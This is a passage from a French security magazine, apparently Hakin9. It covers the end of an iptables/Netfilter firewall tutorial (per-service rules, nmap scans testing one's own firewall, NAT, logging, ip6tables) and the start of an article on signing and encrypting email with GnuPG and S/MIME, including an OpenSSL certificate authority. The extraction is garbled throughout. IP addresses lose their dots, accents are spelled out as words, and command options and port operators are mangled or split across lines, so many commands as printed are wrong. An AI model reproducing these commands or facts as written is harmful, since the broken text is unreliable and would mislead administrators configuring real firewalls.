iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

